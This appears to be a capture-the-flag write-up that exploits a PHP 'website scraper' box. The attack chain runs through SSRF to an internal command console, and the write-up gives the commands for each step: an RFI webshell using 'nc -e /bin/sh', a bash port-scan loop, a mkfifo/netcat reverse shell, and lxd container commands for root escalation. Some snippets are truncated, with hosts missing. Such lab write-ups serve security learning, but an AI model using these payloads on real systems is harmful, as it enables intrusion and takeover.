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DATE: 05/10/2019



There are lot of ports open. We can see there are imap and pop3 ports so that means we might have to play with email services. But let’s start simple, with port 80


If we visit the IP in browser we’ll see a beautifully designed web pages

I didn’t see anything unusual in the comment section so I ran gobuster on it and found a wordpress blog on /blog.

On visiting the blog we can see that there is a post mentioning a page called /s3cr3tscr4per.php.

This tell’s us about the /s3cr3tscr4per.php URL and that there’s a person named alex. If we open the said page we’ll get a so called website scraper.

Now noticed that warning in red that reads ` ERROR: URL must contain http schema. Well if you see anything that says something about having a http schema or something like that the first thing you should check if RFI(remote file inclusion). So I made a file called evil.php` having

<?php echo shell_exec("nc -e /bin/sh 4444") ?>

And then started a python server and tried to include this file but it didn’t worked. Then @andreas told me to look around the website to search for the source of that page. I re-ran the gobuster scan with -x(extension) and found /test.zip. It had the source for /s3cr3tscr4per.php

$ip = '2130706433';
$ip2 = '2147483646';
$gethostname = parse_url($_GET['command'], PHP_URL_HOST);
$hostname = gethostbyname($gethostname);
if (ip2long($hostname) <= $ip2 && $ip <= ip2long($hostname)) {
    die('<b><font color="red">ERROR:</b></color> restricted host');

system('curl -s ' . escapeshellcmd($_GET['command']) . ' || echo website not found');

We can see it’s using curl to get the content of the file but the issue is it’s using system to grab those files but the issue is that it’s using escapeshellcmd function which is used to prevent arbitary command exec.

I googled about how to exploit that and found exploit-bypass-php-escapeshellarg-escapeshellcmd

but that didn’t seemed the way. I then talked with the author and he said that I need to use taht curl command for internal scanning of the system.

Now if we focus on the code the IP is restricted host but we can use to refer to localhost.

This means it works but now we’ll need to do port scan for that I made a script:

for x in {1..65535};
    do cmd=$(curl -so /dev/null -X POST "${x}" -w '%{size_download}')
    if [ $cmd -gt 385 ]; then
        echo "Open port: $x"

This way I found out that 3 port were opened

We know that 3306 is mysql so first I checked the 6060 and it was some kind of console service

I tried executing command like

➜ http -b\?command\=""

And it did work.

But when I did something like ls -la or ls /home I got error so @theart42 suggested to double encode the command.

So I double encoded the following string and passed it to cmd to get the reverse shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f

In /home/alex/.dev I found the SSH keys

privilege escalation

Downloaded the enumeration script and ran it to see if I can find anything interesting

Found lxd installed

So I used the exploited it by running following commands

lxc init f68aac3ef6f1 privesc -c security.privileged=true
lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc sh